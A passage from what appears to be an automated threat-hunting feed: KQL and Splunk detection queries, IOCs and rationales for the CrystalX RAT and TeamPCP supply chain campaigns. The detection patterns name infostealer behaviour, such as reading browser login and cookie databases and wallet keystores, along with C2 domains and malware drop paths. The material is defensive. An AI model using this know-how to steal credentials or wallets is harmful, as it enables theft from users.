or RemoteIP == "142.11.206.73"
or (RemotePort == 8000 and InitiatingProcessFileName in~ ("node.exe","powershell.exe","wt.exe","python.exe","python3"))
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessAccountName
| union (
DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl" or AdditionalFields has "UserAgent"
| where AdditionalFields has "msie 8.0" and AdditionalFields has "trident/4.0"
| project Timestamp, DeviceName, ActionType, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as dest_port values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest IN ("sfrclak.com","142.11.206.73") OR (All_Traffic.dest_port=8000 AND All_Traffic.app IN ("http","ssl","tcp"))) by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.app All_Traffic.process_name | `drop_dm_object_name(All_Traffic)` | append [ | tstats summariesonly=true count from datamodel=Web.Web where (Web.url IN ("*sfrclak.com*","*packages.npm.org*") OR Web.http_user_agent IN ("mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)*","*msie 8.0; windows nt 5.1; trident/4.0*")) by Web.src Web.dest Web.url Web.http_user_agent Web.http_method Web.user | `drop_dm_object_name(Web)` ] | convert ctime(firstTime) ctime(lastTime)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Article-specific behavioural hunt — A laughing RAT: CrystalX combines spyware, stealer, and prankware features
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · File hash IOCs — endpoint file/process match · [LLM] CrystalX clipper extension dropped to %LOCALAPPDATA%\Microsoft\Edge\ExtSvc
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] CrystalX RAT C2 beaconing to webcrystal[.]lol / webcrystal[.]sbs / crystalxrat[.]top
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Crypto-wallet file/keystore access by non-wallet process · [LLM] CrystalX RAT ChromeElevator drop to %TEMP%\svc[N].exe with co[N] staging dir
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("webcrystal.lol", "webcrystal.sbs", "crystalxrat.top")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("webcrystal.lol", "webcrystal.sbs", "crystalxrat.top")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("webcrystal.lol", "webcrystal.sbs", "crystalxrat.top")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("47ACCB0ECFE8CCD466752DDE1864F3B0", "2DBE6DE177241C144D06355C381B868C", "49C74B302BFA32E45B7C1C5780DD0976", "88C60DF2A1414CBF24430A74AE9836E0", "E540E9797E3B814BFE0A82155DFE135D", "1A68AE614FB2D8875CB0573E6A721B46") or SHA1 in~ ("47ACCB0ECFE8CCD466752DDE1864F3B0", "2DBE6DE177241C144D06355C381B868C", "49C74B302BFA32E45B7C1C5780DD0976", "88C60DF2A1414CBF24430A74AE9836E0", "E540E9797E3B814BFE0A82155DFE135D", "1A68AE614FB2D8875CB0573E6A721B46") or MD5 in~ ("47ACCB0ECFE8CCD466752DDE1864F3B0", "2DBE6DE177241C144D06355C381B868C", "49C74B302BFA32E45B7C1C5780DD0976", "88C60DF2A1414CBF24430A74AE9836E0", "E540E9797E3B814BFE0A82155DFE135D", "1A68AE614FB2D8875CB0573E6A721B46")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("47ACCB0ECFE8CCD466752DDE1864F3B0", "2DBE6DE177241C144D06355C381B868C", "49C74B302BFA32E45B7C1C5780DD0976", "88C60DF2A1414CBF24430A74AE9836E0", "E540E9797E3B814BFE0A82155DFE135D", "1A68AE614FB2D8875CB0573E6A721B46")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("47ACCB0ECFE8CCD466752DDE1864F3B0", "2DBE6DE177241C144D06355C381B868C", "49C74B302BFA32E45B7C1C5780DD0976", "88C60DF2A1414CBF24430A74AE9836E0", "E540E9797E3B814BFE0A82155DFE135D", "1A68AE614FB2D8875CB0573E6A721B46")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — A laughing RAT: CrystalX combines spyware, stealer, and prankware featuresExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — A laughing RAT: CrystalX combines spyware, stealer, and prankware features
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("content.js") or FolderPath has_any ("%LOCALAPPDATA%\Microsoft\Edge\ExtSvc"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("%LOCALAPPDATA%\Microsoft\Edge\ExtSvc") or FileName in~ ("content.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — A laughing RAT: CrystalX combines spyware, stealer, and prankware features ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("content.js") OR Processes.process_path="*%LOCALAPPDATA%\Microsoft\Edge\ExtSvc*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*%LOCALAPPDATA%\Microsoft\Edge\ExtSvc*" OR Filesystem.file_name IN ("content.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] CrystalX RAT ChromeElevator drop to %TEMP%\svc[N].exe with co[N] staging dirActions on ObjectivesHigh
Hunts the CrystalX stealer's distinctive ChromeElevator extraction pattern: it base64+gzip-decodes ChromeElevator into %TEMP%\svc<rndInt>.exe and stages browser data into a sibling %TEMP%\co<rndInt> directory before exfiltrating over WebSocket. The combined name pattern + sibling directory is highly specific to CrystalX.
Rationale: The article explicitly names the artefact pattern '%TEMP%\svc[rndInt].exe' and the staging dir '%TEMP%\co[rndInt]'. Co-occurrence within minutes on the same host is essentially pathognomonic for CrystalX stealer execution; benign software does not produce this exact pair. Cross-checked with BleepingComputer and SecurityWeek write-ups which repeat the same pattern.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-crystalrat-malware-adds-rat-stealer-and-prankware-features/
• https://www.securityweek.com/sophisticated-crystalx-rat-emerges/
• https://securityaffairs.com/190310/cyber-crime/crystalx-rat-new-maas-malware-combines-spyware-stealer-and-remote-access.html
ATT&CKT1555.003T1140T1074.001
Data sourcesEndpoint.FilesystemEndpoint.Processes
let window = 10m;
let svcDrops = DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FolderPath has "\\Temp\\" and FileName matches regex @"(?i)^svc\d+\.exe$"
| project DeviceId, DeviceName, Svctime=Timestamp, SvcFile=FolderPath, SvcCreator=InitiatingProcessFileName;
let coDirs = DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath matches regex @"(?i)\\Temp\\co\d+\\"
| project DeviceId, CoTime=Timestamp, CoPath=FolderPath, CoCreator=InitiatingProcessFileName;
svcDrops
| join kind=inner coDirs on DeviceId
| where abs(datetime_diff('second', Svctime, CoTime)) <= 600
| project DeviceName, DeviceId, Svctime, SvcFile, CoPath, SvcCreator, CoCreator
| summarize FirstSeen=min(Svctime), Drops=make_set(SvcFile,5), StagingDirs=make_set(CoPath,5), Creators=make_set(SvcCreator,5) by DeviceName, DeviceId
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path values(Filesystem.process_name) as creator from datamodel=Endpoint.Filesystem where Filesystem.file_path IN ("*\\Temp\\svc*.exe","*\\Temp\\co*\\*") by Filesystem.dest Filesystem.user _time span=5m | `drop_dm_object_name(Filesystem)` | rex field=file_path "(?i)\\\\Temp\\\\(?<artifact>(svc\d+\.exe|co\d+))" | stats count dc(artifact) as distinct_artifacts values(file_path) as paths values(creator) as creator min(firstTime) as firstTime max(lastTime) as lastTime by dest user | where distinct_artifacts>=2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] CrystalX clipper extension dropped to %LOCALAPPDATA%\Microsoft\Edge\ExtSvcInstallationHigh
Hunts CrystalX RAT's clipper-injection routine which writes a manifest plus content.js into the non-standard path %LOCALAPPDATA%\Microsoft\Edge\ExtSvc, then loads the extension into Chrome/Edge via the CDP command Page.addScriptToEvaluateOnNewDocument. Edge does not natively use an 'ExtSvc' subfolder for extensions, so any file write there is high-fidelity.
Rationale: The article gives the exact, non-standard path %LOCALAPPDATA%\Microsoft\Edge\ExtSvc and the exact filenames manifest + content.js, plus the CDP pivot via Page.addScriptToEvaluateOnNewDocument (which requires --remote-debugging-port). Benign Edge installs do not use an 'ExtSvc' folder. Multiple secondary write-ups confirm this clipper installation path.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-crystalrat-malware-adds-rat-stealer-and-prankware-features/
• https://gbhackers.com/crystalx-malware-as-a-service/
ATT&CKT1176T1546T1565.002
Data sourcesEndpoint.FilesystemEndpoint.Processes
let extDrop = DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FolderPath has @"\AppData\Local\Microsoft\Edge\ExtSvc"
| where FileName in~ ("content.js","manifest.json")
| project DropTime=Timestamp, DeviceId, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256;
let cdpLaunch = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("chrome.exe","msedge.exe")
| where ProcessCommandLine has_any ("--remote-debugging-port","--remote-debugging-pipe")
| project CdpTime=Timestamp, DeviceId, BrowserCmd=ProcessCommandLine;
extDrop
| join kind=leftouter cdpLaunch on DeviceId
| where isnull(CdpTime) or abs(datetime_diff('minute', DropTime, CdpTime)) <= 30
| summarize FirstSeen=min(DropTime), Files=make_set(FileName), Writers=make_set(InitiatingProcessFileName), CdpCmd=make_set(BrowserCmd,3) by DeviceName, DeviceId, FolderPath
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_name) as file_name values(Filesystem.file_path) as file_path values(Filesystem.process_name) as writer from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\AppData\\Local\\Microsoft\\Edge\\ExtSvc\\*" (Filesystem.file_name="content.js" OR Filesystem.file_name="manifest.json") by Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | join type=outer dest [| tstats `summariesonly` values(Processes.process) as cdp_cmdline from datamodel=Endpoint.Processes where (Processes.process_name=chrome.exe OR Processes.process_name=msedge.exe) Processes.process IN ("*--remote-debugging-port=*","*--remote-debugging-pipe*") by Processes.dest | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] CrystalX RAT C2 beaconing to webcrystal[.]lol / webcrystal[.]sbs / crystalxrat[.]topCommand & ControlHigh
Alerts on any DNS resolution, HTTP/WebSocket connection, or process execution touching the three published CrystalX C2 domains, or matching any of the six published implant MD5s. The RAT establishes a hard-coded WebSocket session to one of these domains immediately after launch.
Rationale: Hard IOCs from the Securelist article (three C2 domains and six implant MD5 hashes) confirmed by independent secondary write-ups (BleepingComputer, SecurityWeek, SecurityAffairs). The domains are dedicated CrystalX infrastructure with no benign use; combining DNS/network/hash hits ensures coverage even if one telemetry stream is missing.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-crystalrat-malware-adds-rat-stealer-and-prankware-features/
• https://www.securityweek.com/sophisticated-crystalx-rat-emerges/
• https://securityaffairs.com/190310/cyber-crime/crystalx-rat-new-maas-malware-combines-spyware-stealer-and-remote-access.html
ATT&CKT1071.001T1095T1571
Data sourcesNetwork_Resolution.DNSNetwork_Traffic.All_TrafficWeb.WebEndpoint.Processes
let badDomains = dynamic(["webcrystal.lol","webcrystal.sbs","crystalxrat.top"]);
let badMD5 = dynamic(["47ACCB0ECFE8CCD466752DDE1864F3B0","2DBE6DE177241C144D06355C381B868C","49C74B302BFA32E45B7C1C5780DD0976","88C60DF2A1414CBF24430A74AE9836E0","E540E9797E3B814BFE0A82155DFE135D","1A68AE614FB2D8875CB0573E6A721B46"]);
let net = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (badDomains) or tostring(parse_url(RemoteUrl)["Host"]) in~ (badDomains)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, Source="DeviceNetworkEvents";
let hashHits = DeviceProcessEvents
| where Timestamp > ago(30d)
| where tolower(MD5) in (badMD5) or tolower(InitiatingProcessMD5) in (badMD5)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName=FileName, InitiatingProcessCommandLine=ProcessCommandLine, RemoteUrl="", RemoteIP="", RemotePort=int(null), Source="DeviceProcessEvents-MD5";
let fileHits = DeviceFileEvents
| where Timestamp > ago(30d)
| where tolower(MD5) in (badMD5)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine=FolderPath, RemoteUrl="", RemoteIP="", RemotePort=int(null), Source="DeviceFileEvents-MD5";
union net, hashHits, fileHits
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hits=count(), Sources=make_set(Source), URLs=make_set(RemoteUrl,5), IPs=make_set(RemoteIP,5), Procs=make_set(InitiatingProcessFileName,5) by DeviceName, DeviceId
| order by FirstSeen asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.query) as query from datamodel=Network_Resolution.DNS where DNS.query IN ("webcrystal.lol","*.webcrystal.lol","webcrystal.sbs","*.webcrystal.sbs","crystalxrat.top","*.crystalxrat.top") by DNS.dest | `drop_dm_object_name(DNS)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.src) as src values(All_Traffic.dest) as dest from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_host IN ("webcrystal.lol","webcrystal.sbs","crystalxrat.top") OR All_Traffic.url="*webcrystal.*" OR All_Traffic.url="*crystalxrat.top*" by All_Traffic.dest_host All_Traffic.app] | append [| tstats `summariesonly` count values(Processes.process) as process values(Processes.process_hash) as md5 from datamodel=Endpoint.Processes where Processes.process_hash IN ("47ACCB0ECFE8CCD466752DDE1864F3B0","2DBE6DE177241C144D06355C381B868C","49C74B302BFA32E45B7C1C5780DD0976","88C60DF2A1414CBF24430A74AE9836E0","E540E9797E3B814BFE0A82155DFE135D","1A68AE614FB2D8875CB0573E6A721B46") by Processes.dest Processes.user | `drop_dm_object_name(Processes)`] | stats values(*) as * min(firstTime) as firstTime max(lastTime) as lastTime by src dest | `security_content_ctime(firstTime)`
2026-03-3118 use cases8 techniques6 kill-chain phases detected
TeamPCP continues its string of supply chain attacks, and announces a partnership with Vect ransomware group. The post Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Security Infrastructure appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Securit
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · File hash IOCs — endpoint file/process match · [LLM] LiteLLM 1.82.7/1.82.8 .pth credential stealer (litellm_init.pth + sysmon.py drop)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] CanisterWorm post-exploitation: ICP/typosquat C2, WAV stego, pgmon masquerade, docs-tpcp repo abuse
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Crypto-wallet file/keystore access by non-wallet process · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · [LLM] TeamPCP kamikaze.sh on GitHub Actions runner: /proc/<pid>/mem dump of Runner.Worker + Docker 2375 sweep
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("23.142.184.129", "45.148.10.212", "63.251.162.11", "83.142.209.11", "83.142.209.203", "195.5.171.242", "209.34.235.18", "212.71.124.188")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("scan.aquasecurtiy.org", "tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io", "checkmarx.zone", "models.litellm.cloud", "championships-peoples-point-cassette.trycloudflare.com", "create-sensitivity-grad-sequence.trycloudflare.com", "investigation-launches-hearings-copying.trycloudflare.com", "plug-tab-protective-relay.trycloudflare.com", "souls-entire-defined-routes.trycloudflare.com", "kamikaze.sh")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("scan.aquasecurtiy.org", "tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io", "checkmarx.zone", "models.litellm.cloud", "championships-peoples-point-cassette.trycloudflare.com", "create-sensitivity-grad-sequence.trycloudflare.com", "investigation-launches-hearings-copying.trycloudflare.com", "plug-tab-protective-relay.trycloudflare.com", "souls-entire-defined-routes.trycloudflare.com", "kamikaze.sh")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
